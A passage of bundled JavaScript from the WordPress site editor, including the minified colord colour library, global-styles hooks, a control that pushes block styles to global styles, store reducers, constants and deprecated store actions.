a=Math.floor(t),o=e*(1-n),i=e*(1-(t-a)*n),s=e*(1-(1-t+a)*n),h=a%6;return{r:255*[e,i,o,o,s,e][h],g:255*[s,e,e,i,o,o][h],b:255*[o,o,s,e,e,i][h],a:u}},g=function(r){return{h:u(r.h),s:e(r.s,0,100),l:e(r.l,0,100),a:e(r.a)}},d=function(r){return{h:n(r.h),s:n(r.s),l:n(r.l),a:n(r.a,3)}},f=function(r){return b((n=(t=r).s,{h:t.h,s:(n*=((e=t.l)<50?e:100-e)/100)>0?2*n/(e+n)*100:0,v:e+n,a:t.a}));var t,n,e},c=function(r){return{h:(t=h(r)).h,s:(u=(200-(n=t.s))*(e=t.v)/100)>0&&u<200?n*e/100/(u<=100?u:200-u)*100:0,l:u/2,a:t.a};var t,n,e,u},l=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,colord_p=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,v=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,m=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,y={string:[[function(r){var t=i.exec(r);return t?(r=t[1]).length<=4?{r:parseInt(r[0]+r[0],16),g:parseInt(r[1]+r[1],16),b:parseInt(r[2]+r[2],16),a:4===r.length?n(parseInt(r[3]+r[3],16)/255,2):1}:6===r.length||8===r.length?{r:parseInt(r.substr(0,2),16),g:parseInt(r.substr(2,2),16),b:parseInt(r.substr(4,2),16),a:8===r.length?n(parseInt(r.substr(6,2),16)/255,2):1}:null:null},"hex"],[function(r){var t=v.exec(r)||m.exec(r);return t?t[2]!==t[4]||t[4]!==t[6]?null:a({r:Number(t[1])/(t[2]?100/255:1),g:Number(t[3])/(t[4]?100/255:1),b:Number(t[5])/(t[6]?100/255:1),a:void 0===t[7]?1:Number(t[7])/(t[8]?100:1)}):null},"rgb"],[function(t){var n=l.exec(t)||colord_p.exec(t);if(!n)return null;var e,u,a=g({h:(e=n[1],u=n[2],void 0===u&&(u="deg"),Number(e)*(r[u]||1)),s:Number(n[3]),l:Number(n[4]),a:void 0===n[5]?1:Number(n[5])/(n[6]?100:1)});return f(a)},"hsl"]],object:[[function(r){var n=r.r,e=r.g,u=r.b,o=r.a,i=void 0===o?1:o;return t(n)&&t(e)&&t(u)?a({r:Number(n),g:Number(e),b:Number(u),a:Number(i)}):null},"rgb"],[function(r){var n=r.h,e=r.s,u=r.l,a=r.a,o=void 0===a?1:a;if(!t(n)||!t(e)||!t(u))return null;var i=g({h:Number(n),s:Number(e),l:Number(u),a:Number(o)});return f(i)},"hsl"],[function(r){var n=r.h,a=r.s,o=r.v,i=r.a,s=void 0===i?1:i;if(!t(n)||!t(a)||!t(o))return null;var h=function(r){return{h:u(r.h),s:e(r.s,0,100),v:e(r.v,0,100),a:e(r.a)}}({h:Number(n),s:Number(a),v:Number(o),a:Number(s)});return b(h)},"hsv"]]},N=function(r,t){for(var n=0;n<t.length;n++){var e=t[n][0](r);if(e)return[e,t[n][1]]}return[null,void 0]},x=function(r){return"string"==typeof r?N(r.trim(),y.string):"object"==typeof r&&null!==r?N(r,y.object):[null,void 0]},I=function(r){return x(r)[1]},M=function(r,t){var n=c(r);return{h:n.h,s:e(n.s+100*t,0,100),l:n.l,a:n.a}},H=function(r){return(299*r.r+587*r.g+114*r.b)/1e3/255},$=function(r,t){var n=c(r);return{h:n.h,s:n.s,l:e(n.l+100*t,0,100),a:n.a}},colord_j=function(){function r(r){this.parsed=x(r)[0],this.rgba=this.parsed||{r:0,g:0,b:0,a:1}}return r.prototype.isValid=function(){return null!==this.parsed},r.prototype.brightness=function(){return n(H(this.rgba),2)},r.prototype.isDark=function(){return H(this.rgba)<.5},r.prototype.isLight=function(){return H(this.rgba)>=.5},r.prototype.toHex=function(){return r=o(this.rgba),t=r.r,e=r.g,u=r.b,i=(a=r.a)<1?s(n(255*a)):"","#"+s(t)+s(e)+s(u)+i;var r,t,e,u,a,i},r.prototype.toRgb=function(){return o(this.rgba)},r.prototype.toRgbString=function(){return r=o(this.rgba),t=r.r,n=r.g,e=r.b,(u=r.a)<1?"rgba("+t+", "+n+", "+e+", "+u+")":"rgb("+t+", "+n+", "+e+")";var r,t,n,e,u},r.prototype.toHsl=function(){return d(c(this.rgba))},r.prototype.toHslString=function(){return r=d(c(this.rgba)),t=r.h,n=r.s,e=r.l,(u=r.a)<1?"hsla("+t+", "+n+"%, "+e+"%, "+u+")":"hsl("+t+", "+n+"%, "+e+"%)";var r,t,n,e,u},r.prototype.toHsv=function(){return r=h(this.rgba),{h:n(r.h),s:n(r.s),v:n(r.v),a:n(r.a,3)};var r},r.prototype.invert=function(){return w({r:255-(r=this.rgba).r,g:255-r.g,b:255-r.b,a:r.a});var r},r.prototype.saturate=function(r){return void 0===r&&(r=.1),w(M(this.rgba,r))},r.prototype.desaturate=function(r){return void 0===r&&(r=.1),w(M(this.rgba,-r))},r.prototype.grayscale=function(){return w(M(this.rgba,-1))},r.prototype.lighten=function(r){return void 0===r&&(r=.1),w($(this.rgba,r))},r.prototype.darken=function(r){return void 0===r&&(r=.1),w($(this.rgba,-r))},r.prototype.rotate=function(r){return void 0===r&&(r=15),this.hue(this.hue()+r)},r.prototype.alpha=function(r){return"number"==typeof r?w({r:(t=this.rgba).r,g:t.g,b:t.b,a:r}):n(this.rgba.a,3);var t},r.prototype.hue=function(r){var t=c(this.rgba);return"number"==typeof r?w({h:r,s:t.s,l:t.l,a:t.a}):n(t.h)},r.prototype.isEqual=function(r){return this.toHex()===w(r).toHex()},r}(),w=function(r){return r instanceof colord_j?r:new colord_j(r)},S=[],k=function(r){r.forEach(function(r){S.indexOf(r)<0&&(r(colord_j,y),S.push(r))})},E=function(){return new colord_j({r:255*Math.random(),g:255*Math.random(),b:255*Math.random()})};

;// ./node_modules/colord/plugins/a11y.mjs
var a11y_o=function(o){var t=o/255;return t<.04045?t/12.92:Math.pow((t+.055)/1.055,2.4)},a11y_t=function(t){return.2126*a11y_o(t.r)+.7152*a11y_o(t.g)+.0722*a11y_o(t.b)};/* harmony default export */ function a11y(o){o.prototype.luminance=function(){return o=a11y_t(this.rgba),void 0===(r=2)&&(r=0),void 0===n&&(n=Math.pow(10,r)),Math.round(n*o)/n+0;var o,r,n},o.prototype.contrast=function(r){void 0===r&&(r="#FFF");var n,a,i,e,v,u,d,c=r instanceof o?r:new o(r);return e=this.rgba,v=c.toRgb(),u=a11y_t(e),d=a11y_t(v),n=u>d?(u+.05)/(d+.05):(d+.05)/(u+.05),void 0===(a=2)&&(a=0),void 0===i&&(i=Math.pow(10,a)),Math.floor(i*n)/i+0},o.prototype.isReadable=function(o,t){return void 0===o&&(o="#FFF"),void 0===t&&(t={}),this.contrast(o)>=(e=void 0===(i=(r=t).size)?"normal":i,"AAA"===(a=void 0===(n=r.level)?"AA":n)&&"normal"===e?7:"AA"===a&&"large"===e?3:4.5);var r,n,a,i,e}}

;// external ["wp","privateApis"]
const external_wp_privateApis_namespaceObject = window["wp"]["privateApis"];
;// ./node_modules/@wordpress/edit-site/build-module/lock-unlock.js
/**
 * WordPress dependencies
 */

const {
  lock,
  unlock
} = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)('I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.', '@wordpress/edit-site');

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/hooks.js
/**
 * External dependencies
 */



/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


const {
  useGlobalSetting,
  useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);

// Enable colord's a11y plugin.
k([a11y]);
function useColorRandomizer(name) {
  const [themeColors, setThemeColors] = useGlobalSetting('color.palette.theme', name);
  function randomizeColors() {
    /* eslint-disable no-restricted-syntax */
    const randomRotationValue = Math.floor(Math.random() * 225);
    /* eslint-enable no-restricted-syntax */

    const newColors = themeColors.map(colorObject => {
      const {
        color
      } = colorObject;
      const newColor = w(color).rotate(randomRotationValue).toHex();
      return {
        ...colorObject,
        color: newColor
      };
    });
    setThemeColors(newColors);
  }
  return window.__experimentalEnableColorRandomizer ? [randomizeColors] : [];
}
function useStylesPreviewColors() {
  const [textColor = 'black'] = useGlobalStyle('color.text');
  const [backgroundColor = 'white'] = useGlobalStyle('color.background');
  const [headingColor = textColor] = useGlobalStyle('elements.h1.color.text');
  const [linkColor = headingColor] = useGlobalStyle('elements.link.color.text');
  const [buttonBackgroundColor = linkColor] = useGlobalStyle('elements.button.color.background');
  const [coreColors] = useGlobalSetting('color.palette.core');
  const [themeColors] = useGlobalSetting('color.palette.theme');
  const [customColors] = useGlobalSetting('color.palette.custom');
  const paletteColors = (themeColors !== null && themeColors !== void 0 ? themeColors : []).concat(customColors !== null && customColors !== void 0 ? customColors : []).concat(coreColors !== null && coreColors !== void 0 ? coreColors : []);
  const textColorObject = paletteColors.filter(({
    color
  }) => color === textColor);
  const buttonBackgroundColorObject = paletteColors.filter(({
    color
  }) => color === buttonBackgroundColor);
  const highlightedColors = textColorObject.concat(buttonBackgroundColorObject).concat(paletteColors).filter(
  // we exclude these background color because it is already visible in the preview.
  ({
    color
  }) => color !== backgroundColor).slice(0, 2);
  return {
    paletteColors,
    highlightedColors
  };
}
function useSupportedStyles(name, element) {
  const {
    supportedPanels
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return {
      supportedPanels: unlock(select(external_wp_blocks_namespaceObject.store)).getSupportedStyles(name, element)
    };
  }, [name, element]);
  return supportedPanels;
}

;// ./node_modules/@wordpress/edit-site/build-module/utils/set-nested-value.js
/**
 * Sets the value at path of object.
 * If a portion of path doesn’t exist, it’s created.
 * Arrays are created for missing index properties while objects are created
 * for all other missing properties.
 *
 * This function intentionally mutates the input object.
 *
 * Inspired by _.set().
 *
 * @see https://lodash.com/docs/4.17.15#set
 *
 * @todo Needs to be deduplicated with its copy in `@wordpress/core-data`.
 *
 * @param {Object} object Object to modify
 * @param {Array}  path   Path of the property to set.
 * @param {*}      value  Value to set.
 */
function setNestedValue(object, path, value) {
  if (!object || typeof object !== 'object') {
    return object;
  }
  path.reduce((acc, key, idx) => {
    if (acc[key] === undefined) {
      if (Number.isInteger(path[idx + 1])) {
        acc[key] = [];
      } else {
        acc[key] = {};
      }
    }
    if (idx === path.length - 1) {
      acc[key] = value;
    }
    return acc[key];
  }, object);
  return object;
}

;// external "ReactJSXRuntime"
const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
;// ./node_modules/@wordpress/edit-site/build-module/hooks/push-changes-to-global-styles/index.js
/* wp:polyfill */
/**
 * WordPress dependencies
 */











/**
 * Internal dependencies
 */




const {
  cleanEmptyObject,
  GlobalStylesContext
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);

// Block Gap is a special case and isn't defined within the blocks
// style properties config. We'll add it here to allow it to be pushed
// to global styles as well.
const STYLE_PROPERTY = {
  ...external_wp_blocks_namespaceObject.__EXPERIMENTAL_STYLE_PROPERTY,
  blockGap: {
    value: ['spacing', 'blockGap']
  }
};

// TODO: Temporary duplication of constant in @wordpress/block-editor. Can be
// removed by moving PushChangesToGlobalStylesControl to
// @wordpress/block-editor.
const STYLE_PATH_TO_CSS_VAR_INFIX = {
  'border.color': 'color',
  'color.background': 'color',
  'color.text': 'color',
  'elements.link.color.text': 'color',
  'elements.link.:hover.color.text': 'color',
  'elements.link.typography.fontFamily': 'font-family',
  'elements.link.typography.fontSize': 'font-size',
  'elements.button.color.text': 'color',
  'elements.button.color.background': 'color',
  'elements.button.typography.fontFamily': 'font-family',
  'elements.button.typography.fontSize': 'font-size',
  'elements.caption.color.text': 'color',
  'elements.heading.color': 'color',
  'elements.heading.color.background': 'color',
  'elements.heading.typography.fontFamily': 'font-family',
  'elements.heading.gradient': 'gradient',
  'elements.heading.color.gradient': 'gradient',
  'elements.h1.color': 'color',
  'elements.h1.color.background': 'color',
  'elements.h1.typography.fontFamily': 'font-family',
  'elements.h1.color.gradient': 'gradient',
  'elements.h2.color': 'color',
  'elements.h2.color.background': 'color',
  'elements.h2.typography.fontFamily': 'font-family',
  'elements.h2.color.gradient': 'gradient',
  'elements.h3.color': 'color',
  'elements.h3.color.background': 'color',
  'elements.h3.typography.fontFamily': 'font-family',
  'elements.h3.color.gradient': 'gradient',
  'elements.h4.color': 'color',
  'elements.h4.color.background': 'color',
  'elements.h4.typography.fontFamily': 'font-family',
  'elements.h4.color.gradient': 'gradient',
  'elements.h5.color': 'color',
  'elements.h5.color.background': 'color',
  'elements.h5.typography.fontFamily': 'font-family',
  'elements.h5.color.gradient': 'gradient',
  'elements.h6.color': 'color',
  'elements.h6.color.background': 'color',
  'elements.h6.typography.fontFamily': 'font-family',
  'elements.h6.color.gradient': 'gradient',
  'color.gradient': 'gradient',
  blockGap: 'spacing',
  'typography.fontSize': 'font-size',
  'typography.fontFamily': 'font-family'
};

// TODO: Temporary duplication of constant in @wordpress/block-editor. Can be
// removed by moving PushChangesToGlobalStylesControl to
// @wordpress/block-editor.
const STYLE_PATH_TO_PRESET_BLOCK_ATTRIBUTE = {
  'border.color': 'borderColor',
  'color.background': 'backgroundColor',
  'color.text': 'textColor',
  'color.gradient': 'gradient',
  'typography.fontSize': 'fontSize',
  'typography.fontFamily': 'fontFamily'
};
const SUPPORTED_STYLES = ['border', 'color', 'spacing', 'typography'];
const getValueFromObjectPath = (object, path) => {
  let value = object;
  path.forEach(fieldName => {
    value = value?.[fieldName];
  });
  return value;
};
const flatBorderProperties = ['borderColor', 'borderWidth', 'borderStyle'];
const sides = ['top', 'right', 'bottom', 'left'];
function getBorderStyleChanges(border, presetColor, userStyle) {
  if (!border && !presetColor) {
    return [];
  }
  const changes = [...getFallbackBorderStyleChange('top', border, userStyle), ...getFallbackBorderStyleChange('right', border, userStyle), ...getFallbackBorderStyleChange('bottom', border, userStyle), ...getFallbackBorderStyleChange('left', border, userStyle)];

  // Handle a flat border i.e. all sides the same, CSS shorthand.
  const {
    color: customColor,
    style,
    width
  } = border || {};
  const hasColorOrWidth = presetColor || customColor || width;
  if (hasColorOrWidth && !style) {
    // Global Styles need individual side configurations to overcome
    // theme.json configurations which are per side as well.
    sides.forEach(side => {
      // Only add fallback border-style if global styles don't already
      // have something set.
      if (!userStyle?.[side]?.style) {
        changes.push({
          path: ['border', side, 'style'],
          value: 'solid'
        });
      }
    });
  }
  return changes;
}
function getFallbackBorderStyleChange(side, border, globalBorderStyle) {
  if (!border?.[side] || globalBorderStyle?.[side]?.style) {
    return [];
  }
  const {
    color,
    style,
    width
  } = border[side];
  const hasColorOrWidth = color || width;
  if (!hasColorOrWidth || style) {
    return [];
  }
  return [{
    path: ['border', side, 'style'],
    value: 'solid'
  }];
}
function useChangesToPush(name, attributes, userConfig) {
  const supports = useSupportedStyles(name);
  const blockUserConfig = userConfig?.styles?.blocks?.[name];
  return (0,external_wp_element_namespaceObject.useMemo)(() => {
    const changes = supports.flatMap(key => {
      if (!STYLE_PROPERTY[key]) {
        return [];
      }
      const {
        value: path
      } = STYLE_PROPERTY[key];
      const presetAttributeKey = path.join('.');
      const presetAttributeValue = attributes[STYLE_PATH_TO_PRESET_BLOCK_ATTRIBUTE[presetAttributeKey]];
      const value = presetAttributeValue ? `var:preset|${STYLE_PATH_TO_CSS_VAR_INFIX[presetAttributeKey]}|${presetAttributeValue}` : getValueFromObjectPath(attributes.style, path);

      // Links only have a single support entry but have two element
      // style properties, color and hover color. The following check
      // will add the hover color to the changes if required.
      if (key === 'linkColor') {
        const linkChanges = value ? [{
          path,
          value
        }] : [];
        const hoverPath = ['elements', 'link', ':hover', 'color', 'text'];
        const hoverValue = getValueFromObjectPath(attributes.style, hoverPath);
        if (hoverValue) {
          linkChanges.push({
            path: hoverPath,
            value: hoverValue
          });
        }
        return linkChanges;
      }

      // The shorthand border styles can't be mapped directly as global
      // styles requires longhand config.
      if (flatBorderProperties.includes(key) && value) {
        // The shorthand config path is included to clear the block attribute.
        const borderChanges = [{
          path,
          value
        }];
        sides.forEach(side => {
          const currentPath = [...path];
          currentPath.splice(-1, 0, side);
          borderChanges.push({
            path: currentPath,
            value
          });
        });
        return borderChanges;
      }
      return value ? [{
        path,
        value
      }] : [];
    });

    // To ensure display of a visible border, global styles require a
    // default border style if a border color or width is present.
    getBorderStyleChanges(attributes.style?.border, attributes.borderColor, blockUserConfig?.border).forEach(change => changes.push(change));
    return changes;
  }, [supports, attributes, blockUserConfig]);
}
function PushChangesToGlobalStylesControl({
  name,
  attributes,
  setAttributes
}) {
  const {
    user: userConfig,
    setUserConfig
  } = (0,external_wp_element_namespaceObject.useContext)(GlobalStylesContext);
  const changes = useChangesToPush(name, attributes, userConfig);
  const {
    __unstableMarkNextChangeAsNotPersistent
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
  const {
    createSuccessNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const pushChanges = (0,external_wp_element_namespaceObject.useCallback)(() => {
    if (changes.length === 0) {
      return;
    }
    if (changes.length > 0) {
      const {
        style: blockStyles
      } = attributes;
      const newBlockStyles = structuredClone(blockStyles);
      const newUserConfig = structuredClone(userConfig);
      for (const {
        path,
        value
      } of changes) {
        setNestedValue(newBlockStyles, path, undefined);
        setNestedValue(newUserConfig, ['styles', 'blocks', name, ...path], value);
      }
      const newBlockAttributes = {
        borderColor: undefined,
        backgroundColor: undefined,
        textColor: undefined,
        gradient: undefined,
        fontSize: undefined,
        fontFamily: undefined,
        style: cleanEmptyObject(newBlockStyles)
      };

      // @wordpress/core-data doesn't support editing multiple entity types in
      // a single undo level. So for now, we disable @wordpress/core-data undo
      // tracking and implement our own Undo button in the snackbar
      // notification.
      __unstableMarkNextChangeAsNotPersistent();
      setAttributes(newBlockAttributes);
      setUserConfig(newUserConfig, {
        undoIgnore: true
      });
      createSuccessNotice((0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: %s: Title of the block e.g. 'Heading'.
      (0,external_wp_i18n_namespaceObject.__)('%s styles applied.'), (0,external_wp_blocks_namespaceObject.getBlockType)(name).title), {
        type: 'snackbar',
        actions: [{
          label: (0,external_wp_i18n_namespaceObject.__)('Undo'),
          onClick() {
            __unstableMarkNextChangeAsNotPersistent();
            setAttributes(attributes);
            setUserConfig(userConfig, {
              undoIgnore: true
            });
          }
        }]
      });
    }
  }, [__unstableMarkNextChangeAsNotPersistent, attributes, changes, createSuccessNotice, name, setAttributes, setUserConfig, userConfig]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.BaseControl, {
    __nextHasNoMarginBottom: true,
    className: "edit-site-push-changes-to-global-styles-control",
    help: (0,external_wp_i18n_namespaceObject.sprintf)(
    // translators: %s: Title of the block e.g. 'Heading'.
    (0,external_wp_i18n_namespaceObject.__)('Apply this block’s typography, spacing, dimensions, and color styles to all %s blocks.'), (0,external_wp_blocks_namespaceObject.getBlockType)(name).title),
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl.VisualLabel, {
      children: (0,external_wp_i18n_namespaceObject.__)('Styles')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
      __next40pxDefaultSize: true,
      variant: "secondary",
      accessibleWhenDisabled: true,
      disabled: changes.length === 0,
      onClick: pushChanges,
      children: (0,external_wp_i18n_namespaceObject.__)('Apply globally')
    })]
  });
}
function PushChangesToGlobalStyles(props) {
  const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
  const isBlockBasedTheme = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.is_block_theme, []);
  const supportsStyles = SUPPORTED_STYLES.some(feature => (0,external_wp_blocks_namespaceObject.hasBlockSupport)(props.name, feature));
  const isDisplayed = blockEditingMode === 'default' && supportsStyles && isBlockBasedTheme;
  if (!isDisplayed) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorAdvancedControls, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PushChangesToGlobalStylesControl, {
      ...props
    })
  });
}
const withPushChangesToGlobalStyles = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(BlockEdit => props => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
  children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockEdit, {
    ...props
  }, "edit"), props.isSelected && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PushChangesToGlobalStyles, {
    ...props
  })]
}));
(0,external_wp_hooks_namespaceObject.addFilter)('editor.BlockEdit', 'core/edit-site/push-changes-to-global-styles', withPushChangesToGlobalStyles);

;// ./node_modules/@wordpress/edit-site/build-module/hooks/index.js
/**
 * Internal dependencies
 */


;// ./node_modules/@wordpress/edit-site/build-module/store/reducer.js
/**
 * WordPress dependencies
 */


/**
 * Reducer returning the settings.
 *
 * @param {Object} state  Current state.
 * @param {Object} action Dispatched action.
 *
 * @return {Object} Updated state.
 */
function settings(state = {}, action) {
  switch (action.type) {
    case 'UPDATE_SETTINGS':
      return {
        ...state,
        ...action.settings
      };
  }
  return state;
}

/**
 * Reducer keeping track of the currently edited Post Type,
 * Post Id and the context provided to fill the content of the block editor.
 *
 * @param {Object} state  Current edited post.
 * @param {Object} action Dispatched action.
 *
 * @return {Object} Updated state.
 */
function editedPost(state = {}, action) {
  switch (action.type) {
    case 'SET_EDITED_POST':
      return {
        postType: action.postType,
        id: action.id,
        context: action.context
      };
    case 'SET_EDITED_POST_CONTEXT':
      return {
        ...state,
        context: action.context
      };
  }
  return state;
}

/**
 * Reducer to set the save view panel open or closed.
 *
 * @param {Object} state  Current state.
 * @param {Object} action Dispatched action.
 */
function saveViewPanel(state = false, action) {
  switch (action.type) {
    case 'SET_IS_SAVE_VIEW_OPENED':
      return action.isOpen;
  }
  return state;
}

/**
 * Reducer used to track the site editor canvas container view.
 * Default is `undefined`, denoting the default, visual block editor.
 * This could be, for example, `'style-book'` (the style book).
 *
 * @param {string|undefined} state  Current state.
 * @param {Object}           action Dispatched action.
 */
function editorCanvasContainerView(state = undefined, action) {
  switch (action.type) {
    case 'SET_EDITOR_CANVAS_CONTAINER_VIEW':
      return action.view;
  }
  return state;
}
function routes(state = [], action) {
  switch (action.type) {
    case 'REGISTER_ROUTE':
      return [...state, action.route];
    case 'UNREGISTER_ROUTE':
      return state.filter(route => route.name !== action.name);
  }
  return state;
}
/* harmony default export */ const reducer = ((0,external_wp_data_namespaceObject.combineReducers)({
  settings,
  editedPost,
  saveViewPanel,
  editorCanvasContainerView,
  routes
}));

;// external ["wp","patterns"]
const external_wp_patterns_namespaceObject = window["wp"]["patterns"];
;// ./node_modules/@wordpress/edit-site/build-module/utils/constants.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


// Navigation
const NAVIGATION_POST_TYPE = 'wp_navigation';

// Templates.
const TEMPLATE_POST_TYPE = 'wp_template';
const TEMPLATE_PART_POST_TYPE = 'wp_template_part';
const TEMPLATE_ORIGINS = {
  custom: 'custom',
  theme: 'theme',
  plugin: 'plugin'
};
const TEMPLATE_PART_AREA_DEFAULT_CATEGORY = 'uncategorized';
const TEMPLATE_PART_ALL_AREAS_CATEGORY = 'all-parts';

// Patterns.
const {
  PATTERN_TYPES,
  PATTERN_DEFAULT_CATEGORY,
  PATTERN_USER_CATEGORY,
  EXCLUDED_PATTERN_SOURCES,
  PATTERN_SYNC_TYPES
} = unlock(external_wp_patterns_namespaceObject.privateApis);

// Entities that are editable in focus mode.
const FOCUSABLE_ENTITIES = [TEMPLATE_PART_POST_TYPE, NAVIGATION_POST_TYPE, PATTERN_TYPES.user];
const POST_TYPE_LABELS = {
  [TEMPLATE_POST_TYPE]: (0,external_wp_i18n_namespaceObject.__)('Template'),
  [TEMPLATE_PART_POST_TYPE]: (0,external_wp_i18n_namespaceObject.__)('Template part'),
  [PATTERN_TYPES.user]: (0,external_wp_i18n_namespaceObject.__)('Pattern'),
  [NAVIGATION_POST_TYPE]: (0,external_wp_i18n_namespaceObject.__)('Navigation')
};

// DataViews constants
const LAYOUT_GRID = 'grid';
const LAYOUT_TABLE = 'table';
const LAYOUT_LIST = 'list';
const OPERATOR_IS = 'is';
const OPERATOR_IS_NOT = 'isNot';
const OPERATOR_IS_ANY = 'isAny';
const OPERATOR_IS_NONE = 'isNone';

;// ./node_modules/@wordpress/edit-site/build-module/store/actions.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */


const {
  interfaceStore
} = unlock(external_wp_editor_namespaceObject.privateApis);

/**
 * Dispatches an action that toggles a feature flag.
 *
 * @param {string} featureName Feature name.
 */
function toggleFeature(featureName) {
  return function ({
    registry
  }) {
    external_wp_deprecated_default()("dispatch( 'core/edit-site' ).toggleFeature( featureName )", {
      since: '6.0',
      alternative: "dispatch( 'core/preferences').toggle( 'core/edit-site', featureName )"
    });
    registry.dispatch(external_wp_preferences_namespaceObject.store).toggle('core/edit-site', featureName);
  };
}

/**
 * Action that changes the width of the editing canvas.
 *
 * @deprecated
 *
 * @param {string} deviceType
 *
 * @return {Object} Action object.
 */
const __experimentalSetPreviewDeviceType = deviceType => ({
  registry
}) => {
  external_wp_deprecated_default()("dispatch( 'core/edit-site' ).__experimentalSetPreviewDeviceType", {
    since: '6.5',
    version: '6.7',
    hint: 'registry.dispatch( editorStore ).setDeviceType'
  });
  registry.dispatch(external_wp_editor_namespaceObject.store).setDeviceType(deviceType);
};

/**
 * Action that sets a template, optionally fetching it from REST API.
 *
 * @return {Object} Action object.
 */
function setTemplate() {
  external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setTemplate", {
    since: '6.5',
    version: '6.8',
    hint: 'The setTemplate is not needed anymore, the correct entity is resolved from the URL automatically.'
  });
  return {
    type: 'NOTHING'
  };
}

/**
 * Action that adds a new template and sets it as the current template.
 *
 * @param {Object} template The template.
 *
 * @deprecated
 *
 * @return {Object} Action object used to set the current template.
 */
const addTemplate = template => async ({
  dispatch,
  registry
}) => {
  external_wp_deprecated_default()("dispatch( 'core/edit-site' ).addTemplate", {
    since: '6.5',
    version: '6.8',
    hint: 'use saveEntityRecord directly'
  });
  const newTemplate = await registry.dispatch(external_wp_coreData_namespaceObject.store).saveEntityRecord('postType', TEMPLATE_POST_TYPE, template);
  if (template.content) {
    registry.dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord('postType', TEMPLATE_POST_TYPE, newTemplate.id, {
      blocks: (0,external_wp_blocks_namespaceObject.parse)(template.content)
    }, {
      undoIgnore: true
    });
  }
  dispatch({
    type: 'SET_EDITED_POST',
    postType: TEMPLATE_POST_TYPE,
    id: newTemplate.id
  });
};

/**
 * Action that removes a template.
 *
 * @param {Object} template The template object.
 */
const removeTemplate = template => ({
  registry
}) => {
  return unlock(registry.dispatch(external_wp_editor_namespaceObject.store)).removeTemplates([template]);
};

/**
 * Action that sets a template part.
 *
 * @deprecated
 * @param {string} templatePartId The template part ID.
 *
 * @return {Object} Action object.
 */
function setTemplatePart(templatePartId) {
  external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setTemplatePart", {
    since: '6.8'
  });
  return {
    type: 'SET_EDITED_POST',
    postType: TEMPLATE_PART_POST_TYPE,
    id: templatePartId
  };
}

/**
 * Action that sets a navigation menu.
 *
 * @deprecated
 * @param {string} navigationMenuId The Navigation Menu Post ID.
 *
 * @return {Object} Action object.
 */
function setNavigationMenu(navigationMenuId) {
  external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setNavigationMenu", {
    since: '6.8'
  });
  return {
    type: 'SET_EDITED_POST',
    postType: NAVIGATION_POST_TYPE,
    id: navigationMenuId
  };
}

/**
 * Action that sets an edited entity.
 *
 * @deprecated
 * @param {string} postType The entity's post type.
 * @param {string} postId   The entity's ID.
 * @param {Object} context  The entity's context.
 *
 * @return {Object} Action object.
 */
function setEditedEntity(postType, postId, context) {
  return {
    type: 'SET_EDITED_POST',
    postType,
    id: postId,
    context
  };
}

/**
 * @deprecated
 */
function setHomeTemplateId() {
  external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setHomeTemplateId", {
    since: '6.2',
    version: '6.4'
  });
  return {
    type: 'NOTHING'
  };
}

/**
 * Set's the current block editor context.
 *
 * @deprecated
 * @param {Object} context The context object.
 *
 * @return {Object} Action object.
 */
function setEditedPostContext(context) {
  external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setEditedPostContext", {
    since: '6.8'
  });
  return {
    type: 'SET_EDITED_POST_CONTEXT',
    context
  };
}

/**
 * Resolves the template for a page and displays both. If no path is given, attempts
 * to use the postId to generate a path like `?p=${ postId }`.
 *
 * @deprecated
 *
